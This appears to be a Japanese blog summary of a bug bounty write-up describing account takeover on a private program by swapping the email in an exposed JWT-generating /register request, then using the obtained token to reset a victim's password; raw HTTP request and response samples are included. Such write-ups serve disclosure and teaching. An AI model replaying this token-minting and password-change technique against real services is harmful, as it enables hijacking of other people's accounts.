Hello there, ('ω')ノ
重要なアカウントを引き継ぐ話を。
脆弱性:
アカウントの乗っ取り
公開されたJWT生成エンドポイント
記事:
https://shivam312000.medium.com/a-tale-of-critical-account-take-over-e1b7c180917c
ツール:
Burp Suite
今回のプライベートプログラムは、グーグルとフェイスブックの機能で。
ログインをチェックする機能を持っていて。
それは下記のように機能して。
1)グーグルでログインをクリック
2)メールIDとパスワードを入力
このプログラムは、jwt認証を使用していたため、ログインに成功すると。
指定された電子メールに対してjwtが生成されて。
基本的にグーグルでログインしている間に。
すべての要求を一つずつ傍受していると。
Burp Suiteの履歴で、パラメータとして電子メールIDを取得することで。
下記のようにユーザのjwtトークンを生成するAPIエンドポイントを見つけて。
POST /register?src=aweb HTTP/1.1
Host: userapi.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com
cp-origin: 11
Content-Type: application/json
X-Auth-Token: xxxxx
X-JWT-Token:
Origin: https://www.target.com
Content-Length: 1354
Connection: close
{“name”:”Shivam Pandey”,”email”:”shivam@gmail.com”,”providerUserId”:”103151677586368643333",”providerToken”:” eyFuZGV5IiwibG9jYWxlIjoiZW4tR0IiLCJpYXQiOjE1OTQyMjE3NzQsImV4cCI6MTU5NDIyNTM3NCwianRpIjoiODI4MWQwMWNhMTI0NTBkODA0YWQ4YzdkYWEzYTQ5MWI1MTA4M2JlMSJmHBAN06Wv1CspbxbXxxvlCieGHjlXrF5S8TbQvLTwIHKwdlbXhbuYydHpTubRQojAc_ZcHdHlMgumx6XJLvUk10dHkN_V1eQ”,”providerName”:”g”}
上記のリクエストでは、「providerToken」は。
指定されたメールのjwtトークンを生成するので。
ここでtesthunter@gmail.comというテストアカウントでメールを変更して。
攻撃者のjwtトークンに応答を表示させることに。
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Content-Length: 476
Connection: close
Date: Wed, 08 Jul 2020 15:42:16 GMT
Server: nginx/1.16.1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
Access-Control-Allow-Origin: https://www.target.com
Vary: Origin
Access-Control-Allow-Credentials: true
X-Application-Context: application:prod
X-Cache: Miss from cloudfront
{“userInfo”:{“id”:8023402,”name”:”Test account Reddy”,”email”:”testhunter@gmail.com”,”status”:2,”phone”:”xxxxxxxxxx",”phoneVerified”:true,”socialUserId”:”8023402",”wasUserExists”: :true,”coins”:1209.00},”jwtToken”:”eyJhbGciOiJIUzUxMiJ9.MjM0MDIiLCJpYXQiOjE1OTQyMjI5MzYsImlzcyI6ImFkZGEyNDcuY29tIiwibmFtZSI6IlNyaWthbnRoIFJlZGR5In0.CNjPEj182YvEsdqMOYE_MauFnkl”}
セキュリティのために上記のjwtTokenは変更していますが。
すでにjwtトークンを持っていて。
メールの変更リクエストを実行できることはわかっていて。
passowrdの変更に現在のpassowrdは必要ないので。
下記のように新しいパスワードのリクエストを傍受することに。
そして、メールパラメータで自分のテストアカウントのメールに変更すると。
ステータスコード401が。
なので、以前にメールパラメータを変更して盗んだjwtトークンを変更して。
被害者のパスワードを正常に変更することができたので。
被害者のウィンドウで下記を取得してみると確認できて。
手順:
1)常にAPIエンドポイントを取り上げて。
2)ジューシーなエンドポイントのBurpの履歴を確認して。
3)グーグルとフェイスブックの機能でログインをテストして。
Best regards, (^^ゞ